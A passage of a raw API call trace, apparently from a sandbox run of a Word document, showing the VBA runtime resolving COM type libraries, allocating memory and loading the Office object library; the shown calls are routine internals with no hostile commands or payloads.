(This=0x7feffc15380, cb=0x640) returned 0x6a883c0 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4360 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50730 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50860 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4330 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a800c0 [0053.423] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0053.423] strcpy_s (in: _Dst=0x1272a0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0053.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1272a0, cbMultiByte=10, lpWideCharStr=0x1270f0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0053.423] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.423] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x1271c0, pBstrLibName=0x1270f0 | out: pfName=0x1271c0*=0, pBstrLibName=0x1270f0) returned 0x0 [0053.423] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.423] IUnknown:AddRef (This=0x677a9f0) returned 0x6 [0053.423] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x1271c0, pBstrLibName=0x1270f0 | out: pfName=0x1271c0*=0, pBstrLibName=0x1270f0) returned 0x0 [0053.424] IUnknown:Release (This=0x677a9f0) returned 0x5 [0053.424] IUnknown:AddRef (This=0x677acc0) returned 0x5 [0053.424] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x1271c0, pBstrLibName=0x1270f0 | out: pfName=0x1271c0*=0, pBstrLibName=0x1270f0) returned 0x0 [0053.424] IUnknown:Release (This=0x677acc0) returned 0x4 [0053.424] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127808 | out: ppvObject=0x127808*=0x0) returned 0x80004002 [0053.424] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1277b8 | out: ppvObject=0x1277b8*=0x0) returned 0x80004002 [0053.424] ITypeInfo:RemoteGetTypeAttr (in: This=0x68568f0, ppTypeAttr=0x127798, pDummy=0x10 | out: ppTypeAttr=0x127798, pDummy=0x10) returned 0x0 [0053.424] ITypeInfo:LocalReleaseTypeAttr (This=0x68568f0) returned 0x0 [0053.424] ITypeInfo:GetImplTypeFlags (in: This=0x68568f0, index=0x0, pImplTypeFlags=0x1277b4 | out: pImplTypeFlags=0x1277b4*=1) returned 0x0 [0053.424] ITypeInfo:GetRefTypeOfImplType (in: This=0x68568f0, index=0x0, pRefType=0x127790 | out: pRefType=0x127790*=0x6300) returned 0x0 [0053.424] ITypeInfo:GetRefTypeInfo (in: This=0x68568f0, hreftype=0x6300, ppTInfo=0x127788 | out: ppTInfo=0x127788*=0x6856948) returned 0x0 [0053.424] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856948, ppTypeAttr=0x127798, pDummy=0x127770 | out: ppTypeAttr=0x127798, pDummy=0x127770*=0x1277c0) returned 0x0 [0053.424] ITypeInfo:LocalReleaseTypeAttr (This=0x6856948) returned 0x0 [0053.424] ITypeInfo:GetRefTypeOfImplType (in: This=0x6856948, index=0xffffffff, pRefType=0x127790 | out: pRefType=0x127790*=0xfffffffe) returned 0x0 [0053.424] ITypeInfo:GetRefTypeInfo (in: This=0x6856948, hreftype=0xfffffffe, ppTInfo=0x127800 | out: ppTInfo=0x127800*=0x68569a0) returned 0x0 [0053.424] IUnknown:Release (This=0x6856948) returned 0x1 [0053.424] ITypeInfo:RemoteGetTypeAttr (in: This=0x68568f0, ppTypeAttr=0x1277b8, pDummy=0x3 | out: ppTypeAttr=0x1277b8, pDummy=0x3) returned 0x0 [0053.424] ITypeInfo:LocalReleaseTypeAttr (This=0x68568f0) returned 0x0 [0053.424] ITypeInfo:GetImplTypeFlags (in: This=0x68568f0, index=0x0, pImplTypeFlags=0x1277ac | out: pImplTypeFlags=0x1277ac*=1) returned 0x0 [0053.424] ITypeInfo:GetImplTypeFlags (in: This=0x68568f0, index=0x1, pImplTypeFlags=0x1277ac | out: pImplTypeFlags=0x1277ac*=2) returned 0x0 [0053.424] ITypeInfo:GetImplTypeFlags (in: This=0x68568f0, index=0x2, pImplTypeFlags=0x1277ac | out: pImplTypeFlags=0x1277ac*=3) returned 0x0 [0053.424] ITypeInfo:GetRefTypeOfImplType (in: This=0x68568f0, index=0x2, pRefType=0x1277b0 | out: pRefType=0x1277b0*=0x10700) returned 0x0 [0053.424] ITypeInfo:GetRefTypeInfo (in: This=0x68568f0, hreftype=0x10700, ppTInfo=0x127810 | out: ppTInfo=0x127810*=0x6856a50) returned 0x0 [0053.424] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b3e860*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1277b0 | out: ppvObject=0x1277b0*=0x6a2b1f0) returned 0x0 [0053.425] IConnectionPointContainer:FindConnectionPoint (in: This=0x6a2b1f0, riid=0x7fee4b40ba8*(Data1=0x20410, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppCP=0x1277a8 | out: ppCP=0x1277a8*=0x69d6d70) returned 0x0 [0053.425] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d40f0 [0053.425] IConnectionPoint:Advise (in: This=0x69d6d70, pUnkSink=0x66d40f0, pdwCookie=0x1277a4 | out: pdwCookie=0x1277a4*=0x4) returned 0x0 [0053.425] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4120 [0053.425] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c620, cb=0x20) returned 0x66d4540 [0053.425] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50730, cb=0x28) returned 0x66d4570 [0053.425] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275c0 | out: ppvObject=0x1275c0*=0x0) returned 0x80004002 [0053.425] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127590 | out: ppvObject=0x127590*=0x0) returned 0x80004002 [0053.425] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127580 | out: ppvObject=0x127580*=0x0) returned 0x80004002 [0053.425] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127588 | out: ppvObject=0x127588*=0x0) returned 0x80004002 [0053.425] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x1275b8, pDummy=0x10 | out: ppTypeAttr=0x1275b8, pDummy=0x10) returned 0x0 [0053.425] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.425] IUnknown:AddRef (This=0x68569a0) returned 0x2 [0053.425] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275d0 | out: ppvObject=0x1275d0*=0x0) returned 0x80004002 [0053.426] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275a0 | out: ppvObject=0x1275a0*=0x0) returned 0x80004002 [0053.426] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127590 | out: ppvObject=0x127590*=0x0) returned 0x80004002 [0053.426] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127598 | out: ppvObject=0x127598*=0x0) returned 0x80004002 [0053.426] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x1275c8, pDummy=0x10 | out: ppTypeAttr=0x1275c8, pDummy=0x10) returned 0x0 [0053.426] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.427] IUnknown:AddRef (This=0x6856a50) returned 0x2 [0053.427] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127610 | out: ppvObject=0x127610*=0x0) returned 0x80004002 [0053.427] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275e0 | out: ppvObject=0x1275e0*=0x0) returned 0x80004002 [0053.427] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275d0 | out: ppvObject=0x1275d0*=0x0) returned 0x80004002 [0053.427] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275d8 | out: ppvObject=0x1275d8*=0x0) returned 0x80004002 [0053.427] ITypeInfo:RemoteGetTypeAttr (in: This=0x68568f0, ppTypeAttr=0x127608, pDummy=0x10 | out: ppTypeAttr=0x127608, pDummy=0x10) returned 0x0 [0053.427] ITypeInfo:LocalReleaseTypeAttr (This=0x68568f0) returned 0x0 [0053.427] IUnknown:AddRef (This=0x68568f0) returned 0x2 [0053.428] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.428] IUnknown:Release (This=0x6856a50) returned 0x1 [0053.428] wcsncpy_s (in: _Destination=0x127310, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.428] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x127240, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.428] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.428] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.428] CExposedDocFile::CreateStream () returned 0x0 [0053.428] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x407faf0 [0053.428] CExposedStream::AddRef () returned 0x2 [0053.428] CExposedStream::Release () returned 0x1 [0053.428] CExposedStream::Release () returned 0x0 [0053.428] IMalloc:Free (This=0x7feffc15380, pv=0x407faf0) [0053.428] CExposedDocFile::AddRef () returned 0x3 [0053.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127bd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0053.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127bd0, cbMultiByte=-1, lpWideCharStr=0x67506e8, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0053.431] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x127c78*=0x0 | out: pptlib=0x127c78*=0x677dc90) returned 0x0 [0053.431] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x127908*=0x0 | out: pptlib=0x127908*=0x677dc90) returned 0x0 [0053.431] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x127928, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x127810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0053.431] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0053.431] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1277e8 | out: ppvObject=0x1277e8*=0x0) returned 0x80004002 [0053.431] GetLocalTime (in: lpSystemTime=0x127690 | out: lpSystemTime=0x127690*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x180)) [0053.431] wcsncpy_s (in: _Destination=0x127340, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.431] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x127270, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.431] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.432] GetLocalTime (in: lpSystemTime=0x127530 | out: lpSystemTime=0x127530*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x180)) [0053.432] wcsncpy_s (in: _Destination=0x1271e0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.432] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.432] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b6390 [0053.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b6390, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.432] IMalloc:Free (This=0x7feffc15380, pv=0x69b6390) [0053.432] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.432] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127718 | out: ppvObject=0x127718*=0x0) returned 0x80004002 [0053.432] ITypeLib:RemoteGetLibAttr (in: This=0x677dc90, ppTLibAttr=0x127710, pDummy=0x10 | out: ppTLibAttr=0x127710, pDummy=0x10) returned 0x0 [0053.432] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x0, pbstrName=0x127708, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000 | out: pbstrName=0x127708*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000) returned 0x0 [0053.432] StringFromGUID2 (in: rguid=0x4233e20*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x127730, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0053.432] _ultow_s (in: _Value=0x2, _Buffer=0x12767a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.432] _ultow_s (in: _Value=0x8, _Buffer=0x12767e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0053.432] _ultow_s (in: _Value=0x0, _Buffer=0x127682, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.432] wcscpy_s (in: _Destination=0x6925838, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.433] wcscpy_s (in: _Destination=0x692583e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0053.433] wcscpy_s (in: _Destination=0x692588a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0053.433] wcscpy_s (in: _Destination=0x6925898, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0053.433] wcscpy_s (in: _Destination=0x6925918, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0053.433] ITypeLib:LocalReleaseTLibAttr (This=0x677dc90) returned 0x0 [0053.433] wcscpy_s (in: _Destination=0x6a9cc98, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.433] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x127828, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0053.433] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0053.433] strcpy_s (in: _Dst=0x127620, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0053.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127620, cbMultiByte=7, lpWideCharStr=0x127470, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0053.433] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.433] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Office", lHashVal=0x107515, pfName=0x127540, pBstrLibName=0x127470 | out: pfName=0x127540*=0, pBstrLibName=0x127470) returned 0x0 [0053.433] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.433] IUnknown:AddRef (This=0x677a9f0) returned 0x8 [0053.433] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="Office", lHashVal=0x107515, pfName=0x127540, pBstrLibName=0x127470 | out: pfName=0x127540*=0, pBstrLibName=0x127470) returned 0x0 [0053.433] IUnknown:Release (This=0x677a9f0) returned 0x7 [0053.433] IUnknown:AddRef (This=0x677acc0) returned 0x5 [0053.433] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="Office", lHashVal=0x107515, pfName=0x127540, pBstrLibName=0x127470 | out: pfName=0x127540*=0, pBstrLibName=0x127470) returned 0x0 [0053.433] IUnknown:Release (This=0x677acc0) returned 0x4 [0053.434] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x69c3e20 [0053.434] IMalloc:Free (This=0x7feffc15380, pv=0x69a0960) [0053.434] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3ee0 [0053.434] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d3ee0, cb=0x68) returned 0x69a0960 [0053.434] IMalloc:Free (This=0x7feffc15380, pv=0x69c3e20) [0053.434] wcsncpy_s (in: _Destination=0x127420, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.434] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0053.434] IMalloc:Alloc (This=0x7feffc15380, cb=0x12a) returned 0x684cc00 [0053.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x684cc00, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0053.434] IMalloc:Free (This=0x7feffc15380, pv=0x684cc00) [0053.434] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 60 [0053.434] wcscpy_s (in: _Destination=0x69f9358, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.434] wcsncpy_s (in: _Destination=0x127460, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.434] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0053.434] IMalloc:Alloc (This=0x7feffc15380, cb=0x12a) returned 0x684cc00 [0053.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x684cc00, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0053.434] IMalloc:Free (This=0x7feffc15380, pv=0x684cc00) [0053.434] wcsncpy_s (in: _Destination=0x127420, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.434] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x127350, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.434] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.434] IUnknown:AddRef (This=0x677dc90) returned 0x4 [0053.434] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127848 | out: ppvObject=0x127848*=0x0) returned 0x80004002 [0053.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", 